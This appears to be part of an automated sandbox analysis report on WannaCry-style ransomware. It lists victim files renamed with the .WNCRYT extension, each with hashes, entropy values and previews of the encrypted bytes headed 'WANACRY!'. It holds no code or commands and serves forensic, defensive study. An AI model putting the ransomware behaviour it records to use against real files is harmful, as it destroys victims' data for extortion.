                                      Preview:WANACRY!....+.K<..g.....4.].(...B...4..%..!m.._i...L"..._.;.)...5..|Fc..Eh..(\.vD!)..).w........I..(S.......Z..1..n%..v....*.r............c...|K?a.Wp$.dj...BY.N...B....HT.b.......?_......X...z.k^..YQ$...^..<...0Hf&..!...f..@}...[.4....{-X3C.?..6H.z..............S.X....-.1...Q....1$.<i.$.......G.....zmSQ...$..P...gY....W.a. b.....;.!....C6x.Q..'..D.'hT..3a..]_...[..n.1.>(.e.....N...B.!6..B..KI.a..".._..}................r.aH_.I}..1.3..XY._...+,...f.?..S.p.......*<..9"..gc,.";..y*.6ZP..H..$..;...f.[.....C.C...oB...~.-...D.i...Ew>V.)\..m...N.. .b.....1WjA....%~.(?...{Qx.,?..Z...r}T.V.q.../Y.\b.nf......!.F$=eR>..........[...n.Inj..v+.bs_S...._....d.Jg.d[.>.(-..&.\..`.#3".{1...|u..67.>...."....S.F.4:..s..&..-B......M.V...e-&n.i.A0.I*.....{.7."..,..[l..T.*.{..9.9....%.....%.H...CA..;.a....6.H...X..S...Y.........Z2...,......./....o.Z.....y...k?.x.;..ln5.. F*.KK0..,R.S../wT#qc.....h.1.ch..9..X..T.b2...g..Wc.4w.5rm..b3..9.D...n........M...\.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84624263561222
                                      Encrypted:false
                                      SSDEEP:24:bk+3YwFdR4jlq0NYgEWCF2qlhvOpvatD26JW8PnC0cMUFrzHmMJgkgYYRt49UHu:bk+vFvqlqXWYVvOuKYW8SrzGMJgkgyKO
                                      MD5:020EEAAD8425AB7B588F2A4673B14148
                                      SHA1:BCD1D8C2508C729C3B7E90A2DFBEBF24255AE097
                                      SHA-256:23CF5EBDC6D2DE5E0C154DF77C74FF3A3509527DDFB90760E06A4F86336A6B83
                                      SHA-512:D4F3ACCFECC3BCCC6CA6EB85274DC878F84B785CFFFABC407AE06BE180071B7424F4DB4B25E7E69B246CAF8F57DEB79E3DC28A3C389347004DF26796D91E032D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......a.E.Iy6....$C..... 2......j...z....}.O.]U..T!.i.....&d.n..E@..F6p.em.-..T..m.!..=.%..QO.g...!.+R...j.c...XO60...*@9B.M]...RW..>=}..5..J..E...1..Z...b.F%.`.g;...+U..[H...../...X...W."..x.(3E..z....SI.._mR....vd.s....1K.p..9..4...w.(..U..................*..Wc..|~.7.R..Z.....d@TH.n....j.=...o...<....s..).n....m...J..._....N...+..K....y6w...}6..../N.{.}.v.).d......L..&.X.H.80N..E..r..........[..L.8...U-,^..........a.i./..G..].:N../..(.......s/......,......]..J.y.~}.W.W..C.X.V.i.7.&o..+L.....}rK...j}.47.......t.....x.].z.....M.f.Z.i..........k7......)5YE.W*..`.:"...d.y.K....H.6.~:.g.[y.....%@.`.AxL.).R....2.|...m|6.n....>L..p(pt.....0...r.)|..!..x.w.4=....{.8....;n3fNQ..W.m.AA...4.mA.f.r.}..f..R.y.o.,. P..T.B&.@..{..5.n}.A..%r..-.E...c.9;D..L?......}.C.->.H<.9........rMF...z.V..RzB...W`....g...s.2-.."...5.3........M.4Zj..%..0...&.N..d....W.fBp...).h......."y....F...pi8$...'....uy..<R_/!...{-.....sb..eF..,......6?t..m4+.A.R...G...6e..7...

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.882125439773441
                                      Encrypted:false
                                      SSDEEP:24:bkD/3m7X0byOznyoYYGvgqtjad7N9iX8CkzkfARgNGs1xg+4:bkD/27gLnnYYkgqtjq7jiMC7fAxj
                                      MD5:AB6669D5E28DBB26B0287A8E18C19C43
                                      SHA1:9E046815CE3974F9909BD8ADA408B0E7F0E9101E
                                      SHA-256:05111E543A75DAC3BFB9D547DC4CFE8273F4A276D8B51252308B51D88E55D1BF
                                      SHA-512:C11E2C45AEF074CBADCFAC053210B94E5C845A0A6FE0ED85128B54E1E065E666E9D19F640D5610A05FE5C3E8C7E33BD1D0A0A8A89AE0539BB1F4FD47691EDFC8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....k...#E..3...J(...a...L...u.........N.....lY.+B.^.5+..o.?.....g.....qeD .....3_.6....hXv.''G.$M.W..}....[=..#.....g......#...S...,....N.%j|`@...u.A.b...i.>\...7e.Eo.........,...7..o.0.m *Y[%aT..S:L..O.9E!....p<.b...q.u..`......_s....y..............j.....f....S.-C..Kh..#..Ht<...;.wb.S&........./.D.c.....L.^.....=m.E...b.....sE..1...4..Ot...@.Z.S.....h>~.w.J..d...>.......Gj...'./..Q..%.y.08...E..Iv........"...t....S.yay.....h...j....c.l)G@........F.^.O...@...D.<A..9..x.LeG.I....3..<9.z.V.ZO....W....`.....L..(.^W...J......$?..x-...h..J..$.{........}}...i.S...#8...&.BI.....X.{.Z&.&......._....J....p4...a...O.M)&.2...V.O.a..f.6.:;.;.........s8..&.,....|$.?.t^&...n......*.@M.Y.'G.3aV.m.NFe..Q.....!.Q..*.e...i>....^i..}v...Zj.0d.R..l...F.....>Y{.T.7^.}...'z...#.P.QQ..NU.R..jP.....E..Y.Fu.S.A..!.!B6.T4N.........Z..O..~.+....#..;,..T...q5...Y.f..;..^:...g.M{.O.Ad3.#..c.Nw....qo~.KQ6}..e...<OW..;..-]...B<..[....q.?'t

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84478546658724
                                      Encrypted:false
                                      SSDEEP:24:bkMeUnq4hkp8KcYjNAWwsf86OparxDeGSZxOxUrSNLLFUJdi1FYhY4T:bkMlnq4ym4R3wrD0lbyoNGJd3
                                      MD5:6B423623E5E82DB3D7500B10DB306A08
                                      SHA1:2DD2AA05A71FC2BF010197969A922693107B6428
                                      SHA-256:A86BE3FA9F53F1FC357742BE4D2CF45F3C4178F2DE71C63BAA9DFB3ECFDA932A
                                      SHA-512:D70ED2E407EFA3A4F26B801D44666F8949FF73601D02CE79E3BBAE0EFCC0FDA0E89720BE17B7FF0C5E14A9B1E88423C72FDEDFAA4A0D39D9FA75518B3F46E506
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........#..B..s...'d ....}Q.<E..0~..........zS(/).....-/.A...0-.6.....?.....i..5..#../iB.,4Y.N..-..Y..X.:....)X\"X..z...#_.B....k%B...}>.^....j.......(2...'...B.'%.;.....6-W....O.8...$.x.r...."r.m.7.......$]..a~.y=...1o...(.W..&o...G..v.....1.~..............d.....(q.H..G{``....39<..w.x..V,C......!.<y...nk.G..'.3.j..Sa..."a...S........Qi...Q:......L[..n.s.-~.A=B...h.Q...Py.M....k...+.j.%...[....4.G ...MwR...(..woP.....\s5.t_cqY.?.N.....j.';.b....75...2..p!...g..+...$.....5U.sM..C....l...=...l...].h.||...Y;...=.....Gm..2G....A.1F..9.z8........*.....]...4Wu..D.\.9.;.z..An....w......?.]\...b5`t..6.....{&W.'....../..?.D.X......a..-..h=`3..;.!$.e...g7S\y..J..p .JUN..#.cq..S....@...gq....5..g....r.u`...a.1 ....2"cE..N?$.%....+...>O[...,....G.....Y<-L...uD.63Z1....'.eV.9H.....-..nE.z]..Cf..uR"..-f..y..5._DX...\CY.n.(|....]..{!.......w.:?...>......|*.r.B.`_..#..q...\s?b05.}.c...D.L[Pd4.+u...h*K...4........Bg..a.$..~....s.k..7..:.9..|.M...

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843819308078252
                                      Encrypted:false
                                      SSDEEP:24:bk4h37xrIM07QBdramlxW9s43We0VQgrLP2eun4sTKoOTcOZj1UlmaU67+jMMb/m:bk2KB7QBdra3aXP6ReoOTcONWltU67GW
                                      MD5:E25CDB39251B42A1374223468EA5456D
                                      SHA1:E37423FE06A586B78ECEA0886A812EC7F583293F
                                      SHA-256:F43F8A3E063033514F1106855A00629955844C7CEB1431604D2AA1B4530591BB
                                      SHA-512:ED075937D8E6623304E521E880A30E0CD21DF87FD9392C4022DC25ACE25D51C1229554AE6666A79D032E919E768522EC40296DBBF05C482BFBA990A9DC52AEE8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....1*....M...ew.._.4.n....(........M7.a...&........&.L..9...5H._<...3.!R..+..X..u...9.Z.]....._......L.....4s........D..y.N$/Gt...gH.....\......k.V2P0.......H...%u.5.,...."..6a.8....Z...%..r#.}..`.Y.0D*....=$=l.c........YpQl-F$.(.........%.r..............2`........x..STVfLx)76.B...XV..Q....7x..U....0.'...A..C.X.../..Q(H.H....K.|.@.F@4.<@....f..(h.<....G......o.....5G.n<........w.".M.*!...j.Z[~s.5=.,$aY0..4ig.)...j:......!.}0g....j...b{.w!'>.9.D'.I4.j..N.A."cz.=.!..n.M.b..t...$d......"...$Rl....qw.7d....^T.Q.b?..ue....~......m.....,.Z..cNc7..q.}:0(*....#..H../.Z.I..}#.l............R4?S..w.`o......PA...........J^|..4....CR4.{.....%....9...g.A-......4.O.D...7.u.D...P....8.j-.7............F.Q...)j.....Q.]H.G.....9~}.i.. >b361..E``.o..... ....92Z.@.2^.....EZ0.'L.=...'o.N.80H.^...>^....S....>B...#..;..%...)9./...".s. ....p..c.,..M?.b."....E{..^..}:)x....8...,.b.1.q.......D.S..3.a..I....6.......?U........q..`su.O.1.j,...3.<.S.....

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8534111378851446
                                      Encrypted:false
                                      SSDEEP:24:bk1Clnh7iXsqic1NnTMqInEDJOMbOe2gBVq/gvhOWeMCk8A8pCG:bk1Clnh7NZ+dRIcJO4gKV7pzXCk8A8p3
                                      MD5:EF44DE61BFC0EC74A3FD66D358E9EC5D
                                      SHA1:ECDF949D88BE13F5C5CB078C3C585C0B4C117328
                                      SHA-256:B9E01DB6F1FF7E1648E00FBF82FE5744F98B3ACA80AB87DA4CD061486179386C
                                      SHA-512:58AD5C25136FB1E3DEFE15B6DA6B7948CD656B54CB3F3B44ED08B9B56BA303B46AD5125B08B82A92CC369185046E0CCDEC90AA55083625C0E184733C2E3AA2A6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........2..[.i.q*....`..F..Zy.'r_..E.m`..We.Ct.a:5=..F0.....-..V.Qk...ahyOFE.o..0K..K...........J...+R.AM..D.....i....t!.....D.y..K...wGg<d..1....%..6..Uj2..+.....Y......U...d.Ax.F.>;..8....;..}4f.1+..!...p.Q.P.6Fj.M..._.W.5.G.Q-..%..b...^..H............x.....Qzo....P....t...j.._..B...:.....FfR....^W/.L.>\...p3E.q..}y[d.I.|6.R...w...A.^......4...K./.F.E..I...Z..H.a..m=k.g..=#_...E.\.;$6}.r....k.....}G...h..&L..........1...#.q.....b@..>tu...._b.........y.5..x&+}.>w?.T.2..7...2..`....D.y..G..\7.e.*..3.....S.....e.w.H:...E._..w......R...z.....a^L<7....l^...m/...wx....@k.$...-.h...Q..........+...D..'..1k.P..o..Z..bn@)..z.b..].......$....e...oG.8o...`Bb=#..5..m3t/L%..F..OC.%d.w...u.>..i...6\m"...Z3.$....E.Y...pk..~..[G.?uo..(...?(|>.......1..gE........V65.....>...L..=a..>..<fw:.....S....2..{.J4h..L...Vd.*.is.!uK!.*0.q(.|.k...zac.R .:.QX.8..DTT.SYzV......A..i8..0.d..a...Y:..,,.&.N..F..?...f.}.0...#......1Nx._(X.......I.=.c5....^.Y.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838158931424466
                                      Encrypted:false
                                      SSDEEP:24:bklm37oNrPtaaoCUOJjigBYQOZQfKCs3ALSIB5BpcaYQQkGoto1h8OpSQcyGXN:bklD24igBYdQHyy/QkGotodHyN
                                      MD5:CFF8F65068B4BD5CFA4FAA9243D286DC
                                      SHA1:BAB1E110E2211F8DC11470643FE55EF6C065F7F4
                                      SHA-256:BBB13ACF44263F466895BDED7DF103006E2E77E19CD68F43550984E5061537EC
                                      SHA-512:8F80C732D68A6945E5463945E73B620376D8F873BF38F16DAE5AD5083B33CE173D386BFB34BC3134F90182F303672F5775F14E2D3D61D78708F77706A8471922
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....t.sHj..,..F...m.)\W..m..W3.I...E7...Y.."u..H....(4%..........Kt...X..w.m.......r...{X........b2.........^....JR..t1.lr.m....P.X.O..<`X..O.6.\.Z....=JWg..e...|.........Lr..E.uU.A.}.. 6L...tbo>PZ.;..p...b.#....Cs +Exj.%..........e..V.F.R.i...;.............n1t...J}>9..U.....f.7.H$.q6..d*.G.X."....K....v.g..r.I.q.._..Q93..+..H....+.k3..~..._%7@.}9R.y:.e5f.:...Q...1.:$.+..V..7...k.K".hU......-.).......=j>X:..j).|......RJ@*....c.L.o.S...k...]....._.....O. ;....)QS....u.....l.{.......0vi..Dj...(.m,....I....&..g.......]....V.s.v..K.x.B..'.:.Z...T.>...M.O.`.rb....m..!..Hl....R....'.z...c...n...1../._..K.o?6./".~../)..b.U..s...h..MC..6..d....4]....#./....Su!R...Uk......`..a...D..px9.J.V....I.-..."..&9......H..%......?:....]..cW.xf..!.X....fh2..$.Fz.....&{.9.?.O..z.......^..m.%..mj.....l#.k....2.f.\6..i..in.I.YD...>o..^#...xsM..*7~.o..._...p8.cHx....rj.!.l....`.$...Wd...K.l.p.....A....T.c... /.i.T.....^+.=.%?.W...%..&..uHA....Z...;.m

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845620778556305
                                      Encrypted:false
                                      SSDEEP:24:bkZiRZ27nwWbt3Gb3BcBzDW7z2k43mAz1Twhsf4XtBlcIWeyTCKsus:bkuUnwWQzBcB/W7z6/pTH2luey++s
                                      MD5:F3F2FEEE308CED6CEE4932C10F4A8113
                                      SHA1:CE55873494B5CAB5742D56A0FA3EBB6C8330F861
                                      SHA-256:47E20A9FAE582EB29D0B305B1B2E785A3A862F78EEC645C3267899B1665CF0F9
                                      SHA-512:49C6E1C6F715C154AE674936C8DA7A706C86BE0C27EC0F4DA6B3477053EEE3379221BB5D184864052FD3833FA157F03D5D36D5FE3D1F7A6562F9C76AEDA34790
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........Do.Ra..5......%.....e(Lc.rce.*.T....d...3s?.....<@g..m~Y.A~X..}..y8.YL2.An....6|j@.7y.".*.-n...X.J......[P./{.U.D.8y..2q.Ech.,Z..T..E...6.......Q%Gi.{..V.....n........v....5o.:.......,.+.....v....o.9."ydn..Z....H...c....3._....u....."..................I...-F6......`..u"..ci.`)_.+..zJ...N....`A..`...%....T.L..~"*.L...H.t........t...i.k.....S.1yW.A.].\.=P......D#..K<QW..#...~..v.p6T-..q...a.[5.......[s.6..Rn_cZ......_....8......b`.X...y~....8a.V...V.l.J..f=:).nnvU...O......75.6...dc..Q7...W.4...;...5..SQE.0J...!..=..|D+....o_..q.{y.{..! |...?."....4P..z...+.@2+#.I......cxf[.../MI.@.<.t..Pfm?.. ..h.h..1Z(...9..QG..'..0..L2.M.b7$.>...t..}P.'Mck...P..Wxb.{a..=..^.u#.{...x..[!...6.F..OD.B.Y.....@.\.\<..V...:....~.D.i...N&..x.5k..0..@...^....... th.n..u.....2.MB6-..g.c..6.w.i3.Mw....{..._F=?.....,.B...{X...._%`.......9......Q6....jX...::.E#......F.8....C.o.[.Vr$.IW..*..M.9......"Z..m..b..M.....L.....I.....%..#.'01wW....$`...K`

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849896266329177
                                      Encrypted:false
                                      SSDEEP:24:bkELUJrbZy3syMPHGNewrjD7zsHBqmU1lYVupLHU4jZaU0j16qk6tGNwlTg5f0Di:bkPJrM3syK2NXwBibYcpLHU4c1tkuJlQ
                                      MD5:59A2FF8AA3C2A9621C00B4AE38F382FA
                                      SHA1:4DBD4D66CF9CCC7E120912984A58A9D2762930F2
                                      SHA-256:B4DA2F70845191A70173E513311200988414126BD2D984538D4E76DC1D1EEF1C
                                      SHA-512:CDC00BFF6FEA21FF1F2F1F3A6D0108DA92A931A3D8DCE4D898EF6DB38DB3775E13BF88EFC21B95053916FA30EE784BAD09A53F562B773AA9976AAD176D2BA894
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......O.:...S@.0.~..........C....HSX.....8<:....v..R.6.a<Oeg?`.........F{G..)..x.3.|.I.v..l.........=JUL,hv.J.....t.'l....R...Dx.X.P.O.v.h....d.v.1...T.-.Is.t..1...^..B...n;..f.A.-]u*.8E.Z9..~...:.U.\..s..D&...7..5k..7..-....I.d......gQ....l.......G...............W...M^.....mw..}.[S.'4....[_f7.|..-.R../......*.....`zM@......>[$a.A2...nzE<%..a.%9'.9..q.I.......K.f....a.. .u.w..=.....Z]\...'"..bE.S..3.]g.B...l93.'.....}.q..~h`.n.(......mX....=1nlP.U.KE...n.{*&X.fC.*.a.G..~...9M.E..z....S=.|.?s....#9..r...XN.#c....i......K.._s<}.|...8IiX.4....,...'_7.u.....9...td.a[.Rf...]!42..eb...?d...J;. #.Ci.j..qI.0y...DsI.....(\P....4.....+s\..TK....u.{D>...7GW..Y...c'.{....Dee...L.".r...iM.p.z.dI.q 7.....V...m.s.Sd]..dI.|..... ...........c...W.2.y....~@..@...."..}.y.OK~&7Z.(.8...\q.vK UR...Q.#......w!'!'.m...f./!y%.{.Q.4......k.}..3..S.....$.)Q0.....i.A...!1hI..f.U;...[H..2.2...6.!S.|........2....J>.,.......2.Lp.6*.d......`cAg.....W....4..m.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAAMRJRUK.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842865624098238
                                      Encrypted:false
                                      SSDEEP:24:bkJnzJjflq9v4ITT5VMKfY3JLbYkTp4GbjybUacha9S7C1p6i7rOPA4xcFb:bkJzJjNq9QIZvAZvLTp44+w4c7C1p6iF
                                      MD5:33C6BBB03020230950BC048080B41666
                                      SHA1:A11641DCEA0A13DB25A31CD7ECE27F08C19DDBFB
                                      SHA-256:49FB5871C8D4845AFA9CCB74D15E47AC15FF4A97363F10160D93F3D9BA3AF0BE
                                      SHA-512:64F3D48FA8B8FC5610247AB954819B70F8F44291C4A9CC32C754E81E7A0F071B874CB2F1F17C88F4C305A05E8B371AFC70FCE52430614189CB4605AE0C9518EB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....&?5..~.._....S......I...Ip.<..Fe..g.....p...iV.W.5...3P.....l.f.Z`.FJ.I.{.D....R-.&.P2d...l..I.q..+.p[.mKV|....[r..pA..s!...K7D.-T..LQo....k...D*.+.@D.,.u.\B'...f.........j.:.k.."........M.u.8[....i.b.;V.._nj.V9.X.i.=..?.7...q.e.....fjj..jgY>.[=a............n.I...........^.......V.-.M.}=9.cI8p..y...n..k..,....F.a..H...>Y.}Y..|.Sl...W. ...$.-t.[....C v<U./v...>f.A.3.....4..0u<.b.:Iq\.?{.T...5Vf.u.'......5..u...L..l.[...A....wA..\.J....57zu:..#........;...Z...4?.HXJ:I...@;..r....j0Lw..h........n{.z...D3&G8..... .F.).V ^..Qi.....}.lSFV|.c.9.{.P.<.!.{.%..p.....V|V.6.3.O..w..u.R6...^..x....E.\{....d:.#.tVv..g.M..w....T2...Q.0...(.r4Q...Z....B.<.6]........eV`...O.+..tCK.7...".8...../.........#\.%,@...(..D....O}...q~.eg..w..r..y!d.B>....Z.......~^..~P.YoL!.E..cd.......L...A..P... ....iu..3tu.......c..S.....`Z..U.#X.Wu.6.".s]...E.:....L.<;i..)..!v,...5.g.D-c...C5.+<.......;k.....eb......*."Nt...7..z...Z..q......g....F..<.rH...$G9

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.832349945951306
                                      Encrypted:false
                                      SSDEEP:24:bkZtKEBN7fWPCo+KMUlef6z3ochHNjDo9FFS3e0dXE2rsVjOlmZ/25NbQK5Um:bkZtKuRcDkiz48t89n+X5IVjCc25NbQS
                                      MD5:3C3E36A711495E8DE5CEF90F2838F6E9
                                      SHA1:5A017BE7E25B9CD99D236E4324254146E47EF802
                                      SHA-256:229CA060E62ABF593BB3DCAA44CEE5ACC33CEA0DF55015F72E1CEF7AAD8A4E26
                                      SHA-512:1ECA0FBFA871BB657AB28E76BC3ED098A34262D968938960DC7DF5440A5A5F4CED345450E681D7A514C7478F1AA2DCF40A3FEE92CB5FC3152535811BBEF11AD4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....w+D......tvp..........8E.T.y....2@.RZ.Tm..9..5..v....g.Y.H..DE.Sk...(D.c.....\.....C.:*L.......W_9U.)...ty.-KT.......^"...............t......t&w[......re........Rx.....a..../p..Q..;.`...G....g..Z....h.Nu1......FoC...U....g.L...;.....B6...3..............3.t. _:.v......>}.T.Hd....kdM..]/..)..mY.........y."......./S....gC....r@.n.N.R(.....TO.i..a...!.....D..I.:p........+..]tZl.0.i.P..n......MY.X.H.5.&...$...E.;......F...j.CN...X.+[U..1..w...2..2.P......L..H.p.X.z.H..t...*.O)c.e...AB.F..)s.'<_...V....+(24B.@G..Og6Hh.n..Z.F`.t.~/.H...;......~.5........N.7.}.h.R..N....P.z..+..?..j.]/..wB..T.....T#.C.....S..~a_.O.[.cRv.p....h'2X.e...I'......Q....&.....%..w.N..a...+jT.n....]....Y.=........z.~..H<.[..F.c..H}..`?.{.5......f.[..`..........0.Kc.....Ms..NL^7......D..O..f.._$.^..t!#.mN..j)...Z........g=..C...._....c.{hU(.. ..c/...X.zs.......O.v'.k...sK"..|.K.........)M.m.....#.....\#..a......b..".y..>$..W...l.17%.2./M..C....#.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.846193090856159
                                      Encrypted:false
                                      SSDEEP:24:bkLGXt63ggzDqae+9fSVC6RoKBbWK0vMEDmwxTBssBjDBQ1PyChTQNLj:bkSt6oRgnvrVsODK1PCd
                                      MD5:F621D34D2454E37AE23BA2110DF6662A
                                      SHA1:33F3E7FBDA662D10C724113DF82E705A6C430FF1
                                      SHA-256:EE8DD19F8CB87C55E4D538D8F30D10A4D30C16682A4FDC8B4C213E1E3CD59B5C
                                      SHA-512:E0F1C990F5E62E2804ABE887F61FFA19C3AAE48FB129830B576E40331C1541389D605930F77F03958C898E143D14AD8C012A7D9DB75A2CF44EAD912863C5966A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....8.>..9..p#&.[.....LE(.Os)..)J........x..u._.....O.;;..m]\....{..G0!f....3....h...(,..d.O....v&.+A6*n..B]...8b..!...J.Z7..fH.,...h.|.OV.Bci.y._Qe.....X[...2~...'3.._....l~./....H.....H.,....8:...GI..V<....0....m.[....;.~.4f[....R9..Qi.Q3.N(..............r...........=....t..5...Q....C.x9..I...r........o..[......~....G*n...p[..W.....yl..J...}.6.5N|^...ox...~.(.t..@h..r..8._o"|.X}....-..-w."G.l;s5w^-.;..2.........5[..V~D..)j..f...(.6....^U..b..f...r..\...V....aai.;...$N.cC.Yq..A(.c.d.v....G..AEU....4.r.."...._.....Y).....r.n.1.h.Kk......NtD........*2.f......+..i...tO.T.c...x..42..T.h....#.rb~+.`;.I^...>.0H..z:...C'j..,.......}Xp9bN;*D.S....\t.....l2"&......D.dUZ<..L.B..E..c%..^...5..&.c.sg....(....[...,u.../.p.5s..l.<JC..M.z.........9..K.}.h...*M;^Nl......X4.bO...x.$b6Y99.@.t!.v..JM......e....[Ewe.......0..CX...V&.jB.........!.nJ."oZ. 1N.n..6p+......y....3~.c..6j...../:..BzW&.R....O...s.:..!!6sKy...v.o.n............c....g........r..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84473847270336
                                      Encrypted:false
                                      SSDEEP:24:bk6yE24HKTqbGOFy3sI+EFBPCAdYzL3XLu3W9zJ3Ow/NMlfYg/SvfOCL7awQgHnG:bkifHKT8m+wfYzrKKl3OwydYg/SvfX6L
                                      MD5:7BACDFC06446838F0A3F21DBF5861866
                                      SHA1:25E4810C77800C97C74D25F93F94FDC4B6050315
                                      SHA-256:4CB9648F73B306F4075B24FB673B4D51DB3481FA9BB255B5B01FBF97C3C83B0A
                                      SHA-512:B4E2FBA6CBF942049819AC6C85C60E64AB7532EA9CF75B5E654EFFB1DAB9C9EC8C7E28AF138511645DF2B4D0C7D717250A7F109E8F331BF2BD331C3440DC7A07
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....B,..a.P.vz.j...}.....A.a...L..($...;2H..".d...|...Tjn|.&fo.l.S>hg........>...5.ORd|d\.U...w..D...>..?..J(.F.....v]s....z..g..~..3......?.\jm0.Ydq.z..}2..,d.|.!..qQ.....'.....l.@..@.....'...4....]0.+.`0S.r.......`.B...}:@/&5..... .d.y.x$..w..u1[...............u.......W.c...|..p.z...R..R.n.>..K..'.k...S...De...f.#B.....3l...D.;..-...x.....E.../...6..^...I.m..b~.^..[.1..Y,hk.O.%7.#*2.\..&|...yc6...6O),.C......,u..l..........w.H.......@|K....A.so...Q........;..'=..y.~..&....>.>.gE..F..-.u.F........K..k...`.....*.t/..U~..,.$..,..T.[.n..`...y.....+..38.NaU..E./...}..f...EM......i.m.....5vo......PH0..g.y...L..9qw...G..q}..?W.Z.........g{..._.E......R..2....O#.:...5z^.9*'.N._D..q..h...M..t6..^.9.y .Bo..n.9....RKv... C.....P.*\.0R.7t......./xbY...s......ZoRHk4.%.eQK1...T1B...|..^....x.w-...P....=@....@\.U...N......=v.X.....qR...QMG.....xjw..91*P....O..w.Rr.:.S&:......2......XXOFM*...;S6.<.?.H.n.I.....H..n(.B...jH].s..V..MNT..I..?:...}.NQ..L....

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849145463027743
                                      Encrypted:false
                                      SSDEEP:24:bkEnFDaqmxpXecq4FnC55+RrKvyGdhMrv7eYIOlH8kPjARe3sRnrECU2SLW+Dz:bkeFD4TucHLBGdhR8lHpUhVrnl6
                                      MD5:0A7D9BC66F632CAAAFD5A2C74C1EC2C8
                                      SHA1:9175E25301DD7959A4604BC9E6A4A63FF92B4B84
                                      SHA-256:0F6B983E5506B661ADC40C3B3C6F77283EE7B8BDD594043279B982B79EF2C3A5
                                      SHA-512:9F38DA73CA447FC4443DF19BAB04F08C53E90F4DE571E8136826006859062C39D30E676FFDC09B598055BD1F4E426A601B6CE3A671FE1B81E3A0C741CA8B5B4A
                                      Malicious:false
                                      Reputation:unknown
